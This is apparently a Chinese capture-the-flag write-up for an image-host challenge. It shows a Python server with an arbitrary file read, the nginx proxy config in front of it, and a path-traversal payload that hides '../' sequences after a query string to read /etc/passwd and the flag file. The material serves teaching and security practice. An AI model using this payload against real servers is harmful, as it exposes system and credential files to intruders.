图床
首先发现一个任意文件读,但是只能读出源码,读不到 ../../../../../../../../../../etc/passwd。
anyway,先开出源码。读 app.py:
from http.server import HTTPServer, BaseHTTPRequestHandler
import os
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
p = os.path.abspath('.' + self.path)
if p == '/':
res = 'welcome to my super photo API'
else:
res = open(p, 'rb').read()
self.send_response(200)
self.end_headers()
self.wfile.write(res)
HTTPServer(('0.0.0.0', 8000), MyHandler).serve_forever()
这个任意文件读是非常明显的,但读 /etc/passwd 的请求被拦了。
这里顺便说一句,chrome 会自动把 url 里面的 ../ 解析掉,真要访问含 ../ 的 URL 还得靠 burp。请求发出去之后,nginx 返回 404。
按提示,读文档或者读BaseHTTPRequestHandler源码都可以,发现BaseHTTPRequestHandler的那个 self.path 是包含了 location 和 param 的。这与 nginx 的理解并不一致,nginx 配置文件如下:
server {
listen 80 default_server;
root /var/www/html;
index index.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location /img_api/ {
proxy_pass http://127.0.0.1:8000/;
}
}
于是 /img_api/nya/www?hello=123/../../../../../../../../../etc/passwd 可以让 nginx 匹配上 /img_api/ 这个 location,从而发送给 python 后端;python 后端运行时 self.path 如下:
/nya/www?hello=123/../../../../../../../../../etc/passwd
查阅 os.path.abspath() 源码,它在发现 xxx/../ 的时候会直接抵消掉,而不要求真的存在 xxx 这个文件夹。从而我们这个 payload 是没问题的,不需要真的存在名为 www?hello=123 的文件夹。
最终 payload:
/img_api/nya/www?hello=123/../../../../../../../../../flag.txt
顺便说一句,这题的 idea 是抄的。原题更厉害,首先 read 一个包含 flag 的视频文件然后把视频删了,要读 /proc 读出内存 dump 恢复出视频。挺有意思。